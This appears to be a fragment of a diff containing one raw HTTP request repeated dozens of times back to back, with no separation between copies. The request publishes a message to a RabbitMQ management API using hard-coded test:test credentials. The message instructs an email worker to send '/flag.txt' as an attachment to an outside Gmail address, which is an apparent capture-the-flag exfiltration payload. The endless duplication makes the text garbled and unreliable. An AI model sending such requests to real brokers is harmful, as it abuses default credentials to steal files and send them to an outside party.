+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
